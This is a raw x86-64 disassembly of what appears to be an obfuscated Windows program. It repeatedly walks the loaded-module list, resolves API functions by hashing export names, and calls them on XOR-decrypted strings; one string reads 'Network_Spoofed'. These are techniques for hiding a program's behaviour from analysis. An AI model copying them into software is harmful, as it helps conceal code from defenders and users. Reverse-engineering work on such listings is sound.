mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004991a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004991a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0xe19b148f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049915
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400498f0
cmp r8d, 0xbac950ee
je 0x140049922
test r9d, r9d
jne 0x1400498c0
mov rax, qword [rax]
jmp 0x140049890
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140049a89
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xb14]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140049980
cmp r8d, 0x1c
jge 0x140049ad0
movsxd rax, r8d
lea r9, [rsp + 0xb10]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140049aa0
lea rcx, [rsp + 0xb10]
call r11
movups xmm0, xmmword [0x1400a81a8]
movups xmmword [rsp + 0x680], xmm0
movzx eax, word [0x1400a81b8]
mov word [rsp + 0x690], ax
movzx eax, byte [0x1400a81ba]
mov byte [rsp + 0x692], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140049baa
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140049baa
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0xebf9f8b3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049ba5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140049b80
cmp r8d, 0x19925d3a
je 0x140049bb2
test r9d, r9d
jne 0x140049b50
mov rax, qword [rax]
jmp 0x140049b20
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140049d19
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x684]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140049c10
cmp r8d, 0x13
jge 0x140049d60
movsxd rax, r8d
lea r9, [rsp + 0x680]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140049d30
lea rcx, [rsp + 0x680]
call r11
movups xmm0, xmmword [0x1400a81c0]
movups xmmword [rsp + 0xc28], xmm0
movsd xmm0, qword [0x1400a81d0]
movsd qword [rsp + 0xc38], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140049e2a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140049e2a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x44bff41b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049e25
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140049e00
cmp r8d, 0x98ab3b82
je 0x140049e32
test r9d, r9d
jne 0x140049dd0
mov rax, qword [rax]
jmp 0x140049da0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp dword [0x140d3f110], 2
jl 0x140049f92
movdqa xmm5, xmmword [0x1400a66c0]
xor edx, edx
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xc2c]
mov r8d, dword [rsp + 0x70]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140049e90
jmp 0x140049fd0
lea r9, [rsp + 0xc28]
xor r8d, r8d
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140049fa0
lea rcx, [rsp + 0xc28]
call r11
movups xmm0, xmmword [0x1400a81d8]
movups xmmword [rsp + 0x850], xmm0
mov eax, dword [0x1400a81e8]
mov dword [rsp + 0x860], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004a09a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004a09a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5f327927
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004a095
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004a070
cmp r8d, 0xf74c9ba6
je 0x14004a0a2
test r9d, r9d
jne 0x14004a040
mov rax, qword [rax]
jmp 0x14004a010
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x14004a209
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x854]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004a100
cmp r8d, 0x14
jge 0x14004a250
movsxd rax, r8d
lea r9, [rsp + 0x850]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14004a220
lea rcx, [rsp + 0x850]
call r11
movups xmm0, xmmword [0x1400a81f0]
movups xmmword [rsp + 0x7b8], xmm0
mov eax, dword [0x1400a8200]
mov dword [rsp + 0x7c8], eax
movzx eax, byte [0x1400a8204]
mov byte [rsp + 0x7cc], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004a32a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004a32a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0x69b183c4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004a325
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004a300
cmp r8d, 0x9178c95d
je 0x14004a332
test r9d, r9d
jne 0x14004a2d0
mov rax, qword [rax]
jmp 0x14004a2a0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x14004a499
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x7bc]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004a390
cmp r8d, 0x15
jge 0x14004a4e0
movsxd rax, r8d
lea r9, [rsp + 0x7b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14004a4b0
lea rcx, [rsp + 0x7b8]
call r11
movups xmm0, xmmword [str._QAE_]
movups xmmword [rsp + 0x7d0], xmm0
mov eax, dword [0x1400a8218]
mov dword [rsp + 0x7e0], eax
movzx eax, byte [0x1400a821c]
mov byte [rsp + 0x7e4], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004a5ba
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004a5ba
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0x588fc788
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004a5b5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004a590
cmp r8d, 0x2775af89
je 0x14004a5c2
test r9d, r9d
jne 0x14004a560
mov rax, qword [rax]
jmp 0x14004a530
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x14004a729
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x7d4]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004a620
cmp r8d, 0x15
jge 0x14004a770
movsxd rax, r8d
lea r9, [rsp + 0x7d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14004a740
lea rcx, [rsp + 0x7d0]
call r11
movups xmm0, xmmword [0x1400a8220]
movups xmmword [rsp + 0x668], xmm0
movzx eax, word [0x1400a8230]
mov word [rsp + 0x678], ax
movzx eax, byte [0x1400a8232]
mov byte [rsp + 0x67a], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004a84a
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004a84a
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x28c9dec
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004a845
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004a820
cmp r8d, 0x9154e7e5
je 0x14004a852
test r9d, r9d
jne 0x14004a7f0
mov rax, qword [rax]
jmp 0x14004a7c0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x14004a9b9
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x66c]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004a8b0
cmp r8d, 0x13
jge 0x14004aa00
movsxd rax, r8d
lea r9, [rsp + 0x668]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14004a9d0
lea rcx, [rsp + 0x668]
call r11
movups xmm0, xmmword [0x1400a8238]
movups xmmword [rsp + 0x788], xmm0
movzx eax, byte [0x1400a8248]
mov byte [rsp + 0x798], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x14004aaca
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x14004aaca
mov r12d, dword [r13 + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r12 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1a3ea8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004aac5
mov rax, qword [rax]
jmp 0x14004aa40
cmp byte [0x140d45066], 0
je 0x14004b404
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.___Network_Spoofed
lea rcx, [rsp + 0xe50]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movaps xmm0, xmm15
subss xmm0, xmm1
movss dword [rsp + 0x510], xmm0
mov dword [rsp + 0x514], 0x433e0000
movups xmmword [rsp + 0x6d8], xmm8
lea rcx, [rsp + 0x6d8]
call fcn.1400082d0
mov r12d, eax
movups xmmword [rsp + 0x6e8], xmm8
lea rcx, [rsp + 0x6e8]
call fcn.1400082d0
mov r10d, eax
movups xmm0, xmmword [0x1400a8280]
movups xmmword [rsp + 0x868], xmm0
mov ecx, dword [0x1400a8290]
mov dword [rsp + 0x878], ecx
cmp byte [0x1400a8293], 0
je 0x14004b3e0
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x14004b399
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x86c]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
